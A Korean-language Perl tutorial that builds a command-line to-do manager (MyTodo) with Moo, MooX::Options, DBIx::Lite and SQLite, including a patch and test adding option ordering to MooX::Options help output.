Dist::Zilla::Plugin::InstallGuide \
Dist::Zilla::Plugin::MetaResources \
Dist::Zilla::Plugin::PkgVersion \
Dist::Zilla::Plugin::PodCoverageTests \
Dist::Zilla::Plugin::PodSyntaxTests \
Dist::Zilla::Plugin::PodWeaver \
Dist::Zilla::Plugin::Prereqs \
Dist::Zilla::Plugin::ReadmeMarkdownFromPod \
Dist::Zilla::PluginBundle::Basic \
Dist::Zilla::PluginBundle::Filter \
Encode \
ExtUtils::MakeMaker \
File::HomeDir \
File::Spec \
Mojolicious \
Mojolicious::Plugin::HamlRenderer \
Moo \
MooX::Options \
MooX::Types::MooseLike::Base \
Pod::Weaver::PluginBundle::KEEDI \
Time::Piece \
namespace::clean
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
DBIx::Lite \
Dist::Zilla \
Dist::Zilla::Plugin::AutoPrereqs \
Dist::Zilla::Plugin::FakeRelease \
Dist::Zilla::Plugin::InstallGuide \
Dist::Zilla::Plugin::MetaResources \
Dist::Zilla::Plugin::PkgVersion \
Dist::Zilla::Plugin::PodCoverageTests \
Dist::Zilla::Plugin::PodSyntaxTests \
Dist::Zilla::Plugin::PodWeaver \
Dist::Zilla::Plugin::Prereqs \
Dist::Zilla::Plugin::ReadmeMarkdownFromPod \
Dist::Zilla::PluginBundle::Basic \
Dist::Zilla::PluginBundle::Filter \
Encode \
ExtUtils::MakeMaker \
File::HomeDir \
File::Spec \
Mojolicious \
Mojolicious::Plugin::HamlRenderer \
Moo \
MooX::Options \
MooX::Types::MooseLike::Base \
Pod::Weaver::PluginBundle::KEEDI \
Time::Piece \
namespace::clean
</pre>
<h2 id="glglglgl...">GLGLGLGL...</h2>
<p>몇 가지 결정하고 진행해볼까요?
우리가 만들 모듈은 <code>MyTodo</code>, 최종 생성 패키지는 <code>MyTodo-0.00X.tar.gz</code> 타르볼 파일입니다.
패키지 안에는 <code>mytodo.pl</code>이라는 명령줄 유틸리티가 있으며,
웹앱용 구동 파일은 <code>mytodo-web.pl</code>이며, 웹앱 설정 파일은 <code>mytodo-web.conf</code>라고 하죠.</p>
<p>우선 작업을 진행할 디렉터리를 먼저 만들겠습니다.</p>
<pre class="brush: bash;">
$ mkdir mytodo
</pre>
<p>아무래도 모듈화와 패키징에 익숙하지 않다면 그때 그때 파일을 만들기 보다
일단 디렉터리 구조를 보고 시작하는 편이 이해하기에 더 낫겠죠?</p>
<pre class="brush: bash;">
$ tree mytodo/
mytodo/
├── Changes
├── bin
│ └── mytodo.pl
├── dist.ini
├── lib
│ ├── MyTodo
│ │ ├── Script.pm
│ │ └── Util.pm
│ └── MyTodo.pm
├── mytodo-web.conf
└── mytodo-web.pl
</pre>
<p>빈 파일이라도 좋으니 우선 디렉터리를 구성하고 시작하는 것이 편합니다.
앞에서 정한 부분과 다른 부분이 몇가지 있군요.
<code>Changes</code> 파일과 <code>dist.ini</code> 파일은 패키징을 위해 사용하며,
<code>lib/MyTodo/Script.pm</code> 파일은 명령줄 유틸리티를 만들때 필요한 함수를 위한 모듈이며,
<code>lib/MyTodo/Util.pm</code> 파일은 <code>MyTodo</code>에 넣기에 직접적인 연관이 없는
함수를 저장하기 위한 모듈입니다.</p>
<h2>빈 파일 채워넣기</h2>
<h3 id="dist.ini">dist.ini</h3>
<p><code>dist.ini</code> 파일은 <a href="https://metacpan.org/module/Dist::Zilla">Dist::Zilla</a>를 사용하기 위한 설정 파일입니다.
이름이나 이메일 주소등 필요한 부분을 자신에게 맞게 변경하면 됩니다.</p>
<pre class="brush: ini;">
name = MyTodo
author = Keedi Kim - 김도형 <keedi@cpan.org>
license = Perl_5
copyright_holder = Keedi Kim
copyright_year = 2012
version = 0.000
;[@Basic]
[@Filter]
-bundle = @Basic
-remove = UploadToCPAN
[FakeRelease]
[AutoPrereqs]
[PkgVersion]
[ReadmeMarkdownFromPod]
[InstallGuide]
[Prereqs / RuntimeRequires]
[PodCoverageTests]
[PodSyntaxTests]
[PodWeaver]
config_plugin = @KEEDI
</pre>
<h3 id="changes">Changes</h3>
<p><code>Changes</code> 파일은 패키지의 릴리즈별 변경사항을 기록하는 파일입니다.
펄 모듈이라면 당연히 포함해야 하는 파일이며, CPAN은 강제하고 있습니다.
여러분을 믿지 못한다면 항상 작성하는 것을 추천합니다.</p>
<pre class="brush: plain;">
Release history for MyTodo
0.xxx
First version, released on unsuspecting world.
</pre>
<h3>펄 모듈</h3>
<p>펄 모듈은 우선 기본 형태를 먼저 갖추도록 하죠.</p>
<p><code>lib/MyTodo.pm</code> 파일입니다.</p>
<pre class="brush: perl;">
package MyTodo;
# ABSTRACT: Personal To-Do management
1;
__END__
=head1 SYNOPSIS
use MyTodo;
my $todo = MyTodo->new;
=head1 DESCRIPTION
...
</pre>
<p><code>lib/MyTodo/Script.pm</code> 파일입니다.</p>
<pre class="brush: perl;">
package MyTodo::Script;
# ABSTRACT: MyTodo command line utility options processing
1;
__END__
=head1 SYNOPSIS
...
=head1 DESCRIPTION
...
</pre>
<p><code>lib/MyTodo/Util.pm</code> 파일입니다.</p>
<pre class="brush: perl;">
package MyTodo::Util;
# ABSTRACT: MyTodo code snippets
1;
__END__
=head1 SYNOPSIS
...
=head1 DESCRIPTION
...
</pre>
<p><code>SYNOPSIS</code>와 <code>DESCRIPTION</code>은 추후 작성하기 편리하게 <code>...</code>으로
위치를 잡아놓은 것을 제외하면 특별한 부분은 없습니다. :)</p>
<h2>일정 관리 모듈</h2>
<p>일정 관리 메인 모듈은 <code>MyTodo.pm</code> 파일입니다.
객체지향을 지원하도록 할테니 기본적으로 <code>new()</code> 메소드를 사용할 수 있겠죠.
데이터베이스에 접속해서 자료를 저장, 열람, 갱신, 삭제를 해야하기 때문에
데이터베이스에 접속하기 위한 파라미터가 필요합니다.
객체 생성시 지정할 수 있도록 <code>dsn</code>, <code>dbusername</code>, <code>dbpassword</code>, <code>dbattr</code>
속성으로 관리하는 것이 좋을 것 같습니다.
우리가 만든 모듈을 사용할 사용자(물론 지금은 개발자 자신이겠지만...)가
직접 데이터베이스에 접근해서 제어하는 것을 막기 위해 모듈화를 했으므로
기본적인 <code>add()</code>, <code>delete()</code>, <code>edit()</code>, <code>list()</code> 메소드도 필요합니다.</p>
<p>객체지향 모듈을 제작하기 위해 다음 모듈을 추가합니다.</p>
<pre class="brush: perl;">
use Moo;
use MooX::Types::MooseLike::Base qw( Str HashRef Maybe );
use namespace::clean -except => 'meta';
</pre>
<p><a href="https://metacpan.org/module/Moo">Moo</a> 모듈을 사용하면 속성값을 추가하는 일은 정말 간단합니다.</p>
<pre class="brush: perl;">
has dsn => (
is => 'ro',
isa => Str,
required => 1,
);
has dbusername => (
is => 'ro',
isa => Maybe[Str],
);
has dbpassword => (
is => 'ro',
isa => Maybe[Str],
);
has dbattr => (
is => 'ro',
isa => Maybe[HashRef],
);
</pre>
<p><a href="https://metacpan.org/module/Moo">Moo</a> 모듈이 <code>new()</code> 생성자는 기본으로 만들어주기 때문에
CRUD와 관련된 메소드만 추가하면 됩니다.
객체지향 펄에서 메소드는 함수를 추가하는 것으로 간단히 만들어집니다.</p>
<pre class="brush: perl;">
sub add {
my ( $self, %params ) = @_;
# ...
}
sub delete {
my ( $self, %params ) = @_;
# ...
}
sub edit {
my ( $self, %params ) = @_;
# ...
}
sub list {
my ( $self, %params ) = @_;
# ...
}
</pre>
<p>DB에 접근을 하려면 데이터베이스에 접속해야겠죠.
전통적인 <a href="https://metacpan.org/module/DBI">DBI</a> 모듈을 사용할 수도 있지만
펄에는 현대적인 ORM 모듈이 무척 많습니다.
그중에서도 상대적으로 가볍고 손쉬운 사용법이 특징인 <a href="https://metacpan.org/module/DBIx::Lite">DBIx::Lite</a>를
사용해서 데이터베이스의 자료를 조작해보죠.
우선 <code>DBIx::Lite</code> 모듈을 추가합니다.</p>
<pre class="brush: perl;">
use DBIx::Lite;
</pre>
<p>내부적으로 사용하기 위해 <code>_dbix</code> 속성을 추가하고 여기에 <code>DBIx::Lite</code> 객체를 저장합니다.
<code>_</code> 기호는 외부로 공개하지 않음을 의미하는 펄 프로그래머들 사이의 관용적인 약례입니다.
데이터베이스 접속에 필요한 모든 속성값이 갖춰진 다음 객체를 생성할 수 있도록
<code>lazy</code> 형식으로 지정하고 <code>builder</code> 메소드를 이용해서 객체를 생성합니다.</p>
<pre class="brush: perl;">
has _dbix => (
is => 'lazy',
builder => '_builder_handle',
);
sub _builder_handle {
my $self = shift;
my $dbix = DBIx::Lite->connect(
$self->dsn,
$self->dbusername,
$self->dbpassword,
$self->dbattr,
);
$dbix->schema->table('mytodo')->autopk('id');
return $dbix;
}
</pre>
<p>하지만 <code>DBIx::Lite</code> 객체 생성 시점을 미루더라도 가능하면
일찍 생성되도록 객체 생성 직후에 바로 생성할 수 있도록
<code>BUILDER</code> 메소드에서 언급을 합니다.</p>
<pre class="brush: perl;">
sub BUILD {
my $self = shift;
$self->_dbix;
}
</pre>
<p><code>lazy</code> 방식으로 생성되는 속성의 경우 해당 속성이 참조되는 순간까지 최대한
생성 시점을 늦춰 객체 생성의 오버헤드를 줄여서 성능상의 이점을 얻을 수 있습니다.
<code>BUILD</code> 메소드는 객체 생성 이후 동작을 지정할 수 있는데 이 지점에서
<code>_dbix</code> 속성에 접근하면 해당 속성값의 빌더가 자동으로 호출되면서 <code>DBIx::Lite</code>
객체가 생성됩니다.</p>
<h2>자료 구조</h2>
<p>데이터베이스에 접속할 준비가 끝났는데, 막상 어떻게 저장을 해야할지에 대한 규칙이 없군요.
일정 관리에 필요한 자료구조, 지금은 데이터베이스 스키마를 구성해보죠.</p>
<p>간단한 To-Do 수준의 관리니 <em>해야할 일</em>과 <em>하고있는 일</em>, <em>해야할 일</em> 정도로 나누죠.
<em>무엇</em>을 할지도 기록해야할테고, <em>얼마나 중요한지</em>도 표시해야 할 것입니다.
<em>마감날</em>이 있을 수도 있습니다.
그리고 실제로 <em>기록한 날</em>과 값을 <em>변경한 날</em>도 기록하면 정렬을 할때도 도움이 될 것입니다.</p>
<pre class="brush: sql;">
CREATE TABLE mytodo (
id INTEGER NOT NULL,
status CHARACTER(32) NOT NULL,
content INTEGER NOT NULL,
priority INTEGER DEFAULT 0,
deadline DATETIME,
updated_on DATETIME NOT NULL,
created_on DATETIME NOT NULL,
PRIMARY KEY (id)
);
</pre>
<p>짜잔~ 하나의 테이블로 구성된 간단한 스키마가 완성되었습니다.
SQLite를 기준으로 작성한 스키마이므로 다른 데이터베이스를 사용한다면
약간 문법을 수정해야 합니다.</p>
<p>이렇게 작성한 스키마는 어떻게 보관하면 좋을까요?
별도의 파일로 보관하는 것도 나쁘진 않지만 아무래도 모듈과 따로 보관하다보면
잠시 신경을 쓰지 않으면 금방 모듈의 버전보다 뒤쳐지게 되곤 합니다.
최선은 아니겠지만 저는 주로 모듈안에 이런 데이터를 저장합니다.
<code>MyTodo::Util</code> 모듈에 저장하고 이를 손쉽게 꺼내 쓸 수 있도록
간단한 유틸리티를 제작합니다.</p>
<p><code>MyTodo/Util.pm</code> 파일에 다음 내용을 추가합니다.</p>
<pre class="brush: perl;">
sub sql_sqlite {
return (
<<'END_SQL',
DROP TABLE IF EXISTS mytodo
END_SQL
<<'END_SQL',
CREATE TABLE mytodo (
id INTEGER NOT NULL,
status CHARACTER(32) NOT NULL,
content INTEGER NOT NULL,
priority INTEGER DEFAULT 0,
deadline DATETIME,
updated_on DATETIME NOT NULL,
created_on DATETIME NOT NULL,
PRIMARY KEY (id)
)
END_SQL
);
}
</pre>
<p><em>HERE DOCUMENT</em>를 적절히 활용하면 많은 양의 문자열을 쉽게 저장할 수 있습니다.
보관만 해서는 아무 소용이 없겠죠.
명령줄에서 언제든지 꺼내서 쓸 수 있도록 <code>bin/mytodo.pl</code> 파일에
스키마를 열람할 수 있는 기능을 추가합니다.</p>
<p>먼저 <code>MyTodo/Script.pm</code> 파일에 다음 내용을 추가합니다.</p>
<pre class="brush: perl;">
use Moo;
use MooX::Options ( protect_argv => 0 );
use namespace::clean -except => [qw/_options_data _options_config/];
option schema_sqlite => (
is => 'ro',
doc => 'schema sql for sqlite',
order => 99,
);
</pre>
<p><code>bin/mytodo.pl</code> 파일은 다음처럼 작성합니다.</p>
<pre class="brush: perl;">
#!perl
# ABSTRACT: MyTodo command line utility
# PODNAME: mytodo.pl
use 5.010;
use utf8;
use strict;
use warnings;
use MyTodo::Script;
use MyTodo::Util;
my $opt = MyTodo::Script->new_with_options;
if ( $opt->schema_sqlite ) {
say for map { chomp; "$_;" } MyTodo::Util->sql_sqlite;
exit;
}
</pre>
<p>놀랍지만 명령줄에서 실행할 준비가 끝났습니다.
<code>--help</code> 옵션을 이용하면 명령줄 옵션을 확인할 수 있습니다.</p>
<pre class="brush: bash;">
$ perl -Ilib bin/mytodo.pl --help
USAGE: mytodo.pl [-h] [long options...]
--schema_sqlite schema sql for sqlite
-h --help show this help message
</pre>
<p><code>--schema_sqlite</code> 옵션을 이용해서 스키마를 출력할 수 있습니다.</p>
<pre class="brush: bash;">
$ bin/mytodo.pl --schema_sqlite
DROP TABLE IF EXISTS mytodo;
CREATE TABLE mytodo (
id INTEGER NOT NULL,
status CHARACTER(32) NOT NULL,
content INTEGER NOT NULL,
priority INTEGER DEFAULT 0,
deadline DATETIME,
updated_on DATETIME NOT NULL,
created_on DATETIME NOT NULL,
PRIMARY KEY (id)
);
</pre>
<p>파이프를 이용하면 간단히 SQLite 데이터베이스 파일을 생성할 수 있습니다.</p>
<pre class="brush: bash;">
$ mkdir ~/.mytodo
$ bin/mytodo.pl --schema_sqlite | sqlite3 ~/.mytodo/mytodo.db
</pre>
<h2 id="crud">CRUD 메소드 구현</h2>
<h3 id="mytodo">MyTodo</h3>
<p><code>MyTodo</code> 메인 모듈에 <code>add()</code>, <code>delete()</code>, <code>edit()</code>, <code>list()</code> 메소드를 추가해봅시다.</p>
<pre class="brush: perl;">
sub add {
my $self = shift;
my $epoch = time;
my %params = (
status => 'todo',
created_on => $epoch,
updated_on => $epoch,
@_,
);
my $todo = $self->_dbix->table('mytodo')->insert({ %params });
return $todo;
}
sub delete {
my ( $self, %params ) = @_;
my $id = delete $params{id};
return unless $id;
$self->_dbix->table('mytodo')
->search({ id => $id })
->delete;
}
sub edit {
my ( $self, %params ) = @_;
my $id = delete $params{id};
return unless $id;
$self->_dbix->table('mytodo')
->search({ id => $id })
->update({ %params, updated_on => time });
}
sub list {
my $self = shift;
my %params = @_;
my $rs
= $self->_dbix->table('mytodo')
->select(qw/
id
status
content
priority
deadline
created_on
updated_on
/);
$rs = $rs->search($_) for @{ $params{search} };
$rs = $rs->order_by($_) for @{ $params{order_by} };
return $rs;
}
</pre>
<p><code>DBIx::Lite</code>의 기본적인 기능을 이용해서 간단히 CRUD를 처리했습니다.
<a href="https://metacpan.org/module/DBIx::Lite">공식 문서</a>에서 다음 메소드의 사용법을 참고해보세요.</p>
<ul>
<li><code>table()</code></li>
<li><code>select()</code></li>
<li><code>update()</code></li>
<li><code>delete()</code></li>
<li><code>search()</code> </li>
<li><code>order_by()</code> </li>
</ul>
<h3 id="mytodo::script">MyTodo::Script</h3>
<p><code>MyTodo::Script</code> 모듈의 사용 방법을 보고 눈치채셨겠지만,
<a href="https://metacpan.org/module/MooX::Options">MooX::Options</a> 모듈을 이용해서 스크립트에서 사용할
명령줄 옵션을 OOP 모듈의 속성으로 지정할 수 있습니다.
CRUD 기능을 완전하게 지원하기 위해서 몇가지 옵션을 더 추가해보죠.</p>
<pre class="brush: perl;">
use File::HomeDir;
use File::Spec::Functions;
option add => (
is => 'ro',
short => 'a',
doc => 'add todo',
order => 1,
);
option delete => (
is => 'ro',
short => 'd',
format => 'i@',
doc => 'delete todo',
autosplit => ',',
order => 1,
);
option edit => (
is => 'ro',
short => 'e',
format => 'i@',
doc => 'edit todo',
autosplit => ',',
order => 1,
);
option list => (
is => 'ro',
short => 'l',
doc => 'list todo',
order => 1,
);
option priority => (
is => 'ro',
short => 'p',
format => 'i',
doc => 'todo priority',
order => 12,
);
option deadline => (
is => 'ro',
format => 's',
doc => 'todo deadline (local time)',
order => 13,
);
option status => (
is => 'ro',
short => 's',
format => 's',
doc => 'todo status',
order => 14,
);
option dsn => (
is => 'ro',
doc => 'database dsn',
format => 's',
default => sub {
my $home = File::HomeDir->my_home;
my $db = catfile( $home, '.mytodo', 'mytodo.db' );
return "dbi:SQLite:$db";
},
order => 21,
);
option dbusername => (
is => 'ro',
doc => 'database username',
format => 's',
order => 22,
);
option dbpassword => (
is => 'ro',
doc => 'database password',
format => 's',
order => 23,
);
option dbattr => (
is => 'ro',
doc => 'database attribute',
default => sub { [] },
format => 's@',
order => 24,
);
</pre>
<h3 id="mytodo.pl">mytodo.pl</h3>
<p>추가한 옵션에 대한 액션을 정의하고 실제 동작을 구현해야겠지요.
완전한 코드를 구경해볼까요?</p>
<pre class="brush: perl;">
#!perl
# ABSTRACT: MyTodo command line utility
# PODNAME: mytodo.pl
use 5.010;
use utf8;
use strict;
use warnings;
use Encode qw( decode_utf8 encode_utf8 );
use Time::Piece;
use MyTodo;
use MyTodo::Script;
use MyTodo::Util;
binmode STDIN, ':utf8';
binmode STDOUT, ':utf8';
my $opt = MyTodo::Script->new_with_options;
if ( $opt->schema_sqlite ) {
say for map { chomp; "$_;" } MyTodo::Util->sql_sqlite;
exit;
}
my %dbattrs = map { split /=/ } @{ $opt->dbattr };
my $todo = MyTodo->new(
dsn => $opt->dsn,
dbusername => $opt->dbusername,
dbpassword => $opt->dbpassword,
dbattr => \%dbattrs,
);
if ( $opt->list ) {
my $display_func = sub {
my $item = shift;
my $str = sprintf(
"[%-5s] %5s : #%-2d %s",
uc $item->status,
"\x{2605}" x $item->priority . "\x{2606}" x (5 - $item->priority),
# 2605(★), 2606(☆)
$item->id,
decode_utf8($item->content),
);
if ($item->deadline) {
my $deadline = Time::Seconds->new( $item->deadline - time )->pretty;
$deadline =~ s/minus /-/;
$deadline =~ s/(\d+) days, /sprintf('%2dD', $1)/e;
$deadline =~ s/(\d+) hours, /sprintf('%2dH', $1)/e;
$deadline =~ s/(\d+) minutes, /sprintf('%2dM', $1)/e;
$deadline =~ s/\d+ seconds$//;
$str .= " ($deadline)";
}
say $str;
};
for my $search (
{ status => 'doing' },
{ status => 'todo' },
{ status => 'done' },
)
{
my $rs = $todo->list(
search => [ $search ],
order_by => [ '-me.priority' ],
);
$display_func->($_) while $_ = $rs->next;
}
exit;
}
if ( $opt->add ) {
my $content = shift;
my $epoch = time;
my %params;
$params{content} = $content if $content;
$params{priority} = $opt->priority if $opt->priority;
$params{status} = $opt->status if $opt->status && $opt->status =~ /^(todo|doing|done)$/;
if ($opt->deadline) {
my $t = Time::Piece->strptime($opt->deadline, "%Y-%m-%dT%H:%M:%S");
$params{deadline} = $t->epoch;
}
$todo->add(%params);
exit;
}
if ( $opt->delete ) {
return unless $opt->delete;
$todo->delete( id => $opt->delete );
exit;
}
if ( $opt->edit ) {
my $content = shift;
my $epoch = time;
return unless $opt->edit;
my %params;
$params{id} = $opt->edit;
$params{content} = $content if $content;
$params{priority} = $opt->priority if $opt->priority;
$params{status} = $opt->status if $opt->status && $opt->status =~ /^(todo|doing|done)$/;
if ($opt->deadline) {
my $t = Time::Piece->strptime($opt->deadline, "%Y-%m-%dT%H:%M:%S");
$params{deadline} = $t->epoch;
}
$todo->edit(%params);
exit;
}
</pre>
<p>명령줄에서 <code>--help</code> 옵션을 이용하면 구현한 모든 옵션을 확인할 수 있습니다.</p>
<pre class="brush: bash;">
$ perl bin/mytodo.pl --help
USAGE: mytodo.pl [-adehlps] [long options...]
-a --add add todo
-d --delete delete todo
-e --edit edit todo
-l --list list todo
-p --priority todo priority
--deadline todo deadline (local time)
-s --status todo status
--dsn database dsn
--dbusername database username
--dbpassword database password
--dbattr database attribute
--schema_sqlite schema sql for sqlite
-h --help show this help message
</pre>
<p>To-Do 목록을 추가하려면 <code>-a</code> 옵션을 이용합니다.
이때 <code>-p</code> 옵션으로 중요도를 조정하고 <code>-s</code> 옵션을 이용해서
<code>todo</code>, <code>doing</code>, <code>done</code> 중 하나의 값을 지정할 수 있습니다.
<code>-e</code> 옵션은 수정을 위한 옵션으로 To-Do 목록 아이디를 지정하고 값을 변경할 수 있습니다.
<code>-d</code> 옵션은 삭제를 위한 옵션으로 To-Do 목록 아이디를 지정하면 해당 목록을 지웁니다.
마지막으로 <code>-l</code> 옵션을 이용해서 To-Do 목록을 확인할 수 있습니다.</p>
<pre class="brush: bash;">
$ todo -a 'writing document for MyTodo'
$ todo -a 'writing perl example using LibreOffice SDK' -p3 -sdoing
$ todo -l
$ todo -e1 -p5
$ todo -l
$ todo -d1 -d2
$ todo -l
</pre>
<h2 id="letspatch">Let's Patch!</h2>
<p>사실 현재 버전(3.73)의 <a href="https://metacpan.org/module/MooX::Options">MooX::Options</a>를 사용하면
도움말 출력시 옵션이 무작위 순서로 출력됩니다.
이 문제는 내부적으로 옵션을 객체의 속성으로 저장하고 있다가
도움말 출력 시점에 각 속성을 해시 형태로 변한한 후 해시의 키를
추출해서 출력하기 때문에 발생하는 현상입니다.
펄에서 해시의 순서는 무작위이기 때문에 나타나는 부작용(side-effect)인 셈이죠.</p>
<p>사실 큰 문제는 없지만 아무래도 사용자 입장에서는 일정한 규칙에 따라
순서대로 출력되는 편이 가독성이나 사용성 면에서 유리합니다.
이 문제는 비교적 간단하게 해결할 수 있는데 패치는 다음과 같습니다.</p>
<pre class="brush: diff;">
From cba8e63ceb2a5223a90e7be51b2ff61080db68bd Mon Sep 17 00:00:00 2001
From: Keedi Kim <keedi.k@gmail.com>
Date: Mon, 17 Dec 2012 14:19:03 +0900
Subject: Order attribute when displaying help message
Sorting option is helpful for users, so added order attribute.
First sort keys by order attr value, and default order value set as 0.
If order attr is same, trying to sort by it's key name. :-)
---
lib/MooX/Options.pm | 7 ++-
lib/MooX/Options/Role.pm | 6 ++-
t/order.t | 115 ++++++++++++++++++++++++++++++++++++++++++++++
3 files changed, 126 insertions(+), 2 deletions(-)
create mode 100644 t/order.t
diff --git a/lib/MooX/Options.pm b/lib/MooX/Options.pm
index 0bbdfc9..43b0d86 100755
--- a/lib/MooX/Options.pm
+++ b/lib/MooX/Options.pm
@@ -17,7 +17,7 @@ use Carp;
# VERSION
my @OPTIONS_ATTRIBUTES
- = qw/format short repeatable negativable autosplit doc/;
+ = qw/format short repeatable negativable autosplit doc order/;
sub import {
my ( undef, @import ) = @_;
@@ -121,6 +121,7 @@ sub _filter_attributes {
sub _validate_and_filter_options {
my (%options) = @_;
$options{doc} = $options{documentation} if !defined $options{doc};
+ $options{order} = 0 if !defined $options{order};
my %cmdline_options = map { ( $_ => $options{$_} ) }
grep { exists $options{$_} } @OPTIONS_ATTRIBUTES, 'required';
@@ -420,6 +421,10 @@ Ex :
my $t = t->new_with_options;
t->verbose # 3
+=item order
+
+Specified the order of the attribute.
+
=back
=head1 namespace::clean
diff --git a/lib/MooX/Options/Role.pm b/lib/MooX/Options/Role.pm
index 279c025..9cc201a 100644
--- a/lib/MooX/Options/Role.pm
+++ b/lib/MooX/Options/Role.pm
@@ -67,7 +67,11 @@ sub parse_options {
};
my %has_to_split;
- for my $name ( keys %options_data ) {
+ my @sorted_keys = sort {
+ $options_data{$a}{order} <=> $options_data{$b}{order} # sort by order
+ or $a cmp $b # sort by attr name
+ } keys %options_data;
+ for my $name (@sorted_keys) {
my %data = %{ $options_data{$name} };
my $doc = $data{doc};
$doc = "no doc for $name" if !defined $doc;
diff --git a/t/order.t b/t/order.t
new file mode 100644
index 0000000..8df6196
--- /dev/null
+++ b/t/order.t
@@ -0,0 +1,115 @@
+#!perl
+use strict;
+use warnings;
+use Test::More tests => 3;
+use Test::Trap;
+
+{
+ package t1;
+ use Moo;
+ use MooX::Options;
+
+ option 'first' => (
+ is => 'ro',
+ documentation => 'first option',
+ order => 1,
+ );
+
+ option 'second' => (
+ is => 'ro',
+ documentation => 'second option',
+ order => 2,
+ );
+
+ option 'third' => (
+ is => 'ro',
+ documentation => 'third option',
+ order => 3,
+ );
+
+ option 'fourth' => (
+ is => 'ro',
+ documentation => 'fourth option',
+ order => 4,
+ );
+
+ 1;
+}
+
+{
+ package t2;
+ use Moo;
+ use MooX::Options;
+
+ option 'first' => (
+ is => 'ro',
+ documentation => 'first option',
+ );
+
+ option 'second' => (
+ is => 'ro',
+ documentation => 'second option',
+ );
+
+ option 'third' => (
+ is => 'ro',
+ documentation => 'third option',
+ );
+
+ option 'fourth' => (
+ is => 'ro',
+ documentation => 'fourth option',
+ );
+
+ 1;
+}
+
+{
+ package t3;
+ use Moo;
+ use MooX::Options;
+
+ option 'first' => (
+ is => 'ro',
+ documentation => 'first option',
+ order => 1,
+ );
+
+ option 'second' => (
+ is => 'ro',
+ documentation => 'second option',
+ order => 2,
+ );
+
+ option 'third' => (
+ is => 'ro',
+ documentation => 'third option',
+ );
+
+ option 'fourth' => (
+ is => 'ro',
+ documentation => 'fourth option',
+ );
+
+ 1;
+}
+
+{
+ my $opt = t1->new_with_options;
+ trap { $opt->options_usage };
+ ok $trap->stdout =~ /first.+second.+third.+fourth/gms, 'order work w/ order attribute';
+}
+
+{
+ my $opt = t2->new_with_options;
+ trap { $opt->options_usage };
+ ok $trap->stdout =~ /first.+fourth.+second.+third/gms, 'order work w/o order attribute';
+}
+
+{
+ my $opt = t3->new_with_options;
+ trap { $opt->options_usage };
+ ok $trap->stdout =~ /fourth.+third.+first.+second/gms, 'order work w/ mixed mode';
+}
+
+done_testing;
--
1.7.10.4
</pre>
<p>모듈의 저자에게 패치를 보내기는 했지만 사실 언제 적용이 될지는 알 수가 없습니다.
해당 패치는 설치한 모듈에 적용해야 하는데, 아무리 perlbrew를 이용해 사용자 계정에
설치했다손 치더라도 자동으로 설치한 모듈을 직접 수정하는 것은 여러모로 찜찜합니다.
사실 패치를 하고 그 사실을 잊어버리는 것이 찜찜한 것이겠죠.
최선은 아니겠지만 저는 이런 경우 항상 로컬 저장소에 패치를 별도로 보관하면서
제가 실행할 시스템 또는 모듈에만 지역적으로 적용시키곤 합니다.
이번에도 우리의 <code>MyTodo</code> 모듈에만 적용을 시키도록 하겠습니다.</p>
<p><code>MooX::Options</code> 모듈 중 해당 패치를 적용시키려면
<code>MooX::Options</code>와 <code>MooX::Options::Role</code> 양쪽 모두에 적용해야 합니다.
따라서 <code>MyTodo::Patch::</code> 하부에 패치를 적용시킨
상기 두 모듈을 위치시키도록 합니다.
적용시킨 디렉터리 구조는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ tree mytodo/
mytodo/
├── Changes
├── bin
├── dist.ini
└── lib
├── MyTodo
│ ├── Patch
│ │ └── MooX
│ │ ├── Options
│ │ │ └── Role.pm
│ │ └── Options.pm
│ ├── Script.pm
│ └── Util.pm
└── MyTodo.pm
</pre>
<p>적용 후 패키지명을 <code>MyTodo::Patch::</code>로 시작하도록 변경해야하므로
다음처럼 추가로 수정 하도록 합니다.</p>
<pre class="brush: diff;">
diff -urN a/lib/MyTodo/Patch/MooX/Options/Role.pm b/lib/MyTodo/Patch/MooX/Options/Role.pm
--- a/lib/MyTodo/Patch/MooX/Options/Role.pm 2012-12-24 16:27:23.923471855 +0900
+++ b/lib/MyTodo/Patch/MooX/Options/Role.pm 2012-12-24 16:26:34.707469991 +0900
@@ -1,4 +1,4 @@
-package MooX::Options::Role;
+package MyTodo::Patch::MooX::Options::Role;
# ABSTRACT: role that is apply to your object
use strict;
diff -urN a/lib/MyTodo/Patch/MooX/Options.pm b/lib/MyTodo/Patch/MooX/Options.pm
--- a/lib/MyTodo/Patch/MooX/Options.pm 2012-12-24 16:27:09.483471308 +0900
+++ b/lib/MyTodo/Patch/MooX/Options.pm 2012-12-24 16:26:34.707469991 +0900
@@ -1,4 +1,4 @@
-package MooX::Options;
+package MyTodo::Patch::MooX::Options;
# ABSTRACT: add option keywords to your object (Mo/Moo/Moose)
@@ -70,7 +70,7 @@
my $options_data = {};
my $apply_modifiers = sub {
return if $target->can('new_with_options');
- $with->('MooX::Options::Role');
+ $with->('MyTodo::Patch::MooX::Options::Role');
$around->(
_options_data => sub {
</pre>
<p>이제 <code>MooX::Options</code> 모듈을 사용하는 <code>MyTodo::Script</code> 모듈 쪽을 수정합니다.</p>
<pre class="brush: diff;">
diff -urN a/lib/MyTodo/Script.pm b/lib/MyTodo/Script.pm
--- a/lib/MyTodo/Script.pm 2012-12-24 16:28:33.971474508 +0900
+++ b/lib/MyTodo/Script.pm 2012-12-24 16:26:34.707469991 +0900
@@ -2,7 +2,7 @@
# ABSTRACT: MyTodo command line utility options processing
use Moo;
-use MooX::Options ( protect_argv => 0 );
+use MyTodo::Patch::MooX::Options ( protect_argv => 0 );
use namespace::clean -except => [qw/_options_data _options_config/];
use File::HomeDir;
</pre>
<p>네, 모든 패치가 끝났습니다.
사실 앞의 코드에서 속성값을 정의할때 <code>order</code>라는 값을 지정했는데,
이 기능이 원래의 <code>MooX::Options</code>에 존재하는 기능이 아니라 방금의
패치를 하면서 추가된 기능입니다.
무언가 부족한 부분이 있다면 언제든지 수정해서 원하는 기능을 추가하거나
성능을 개선시킬 수 있다는 사실이 오픈 소스의 매력이 아닐까요?</p>
<p><em>덧글</em>:
사실 해당 패치는 12월 24일 <a href="https://metacpan.org/source/CELOGEEK/MooX-Options-3.75/Changes">3.74 버전에 적용</a>되었습니다.
따라서 그 이후에 모듈을 설치했다면 이 패치 과정은 필요없습니다.
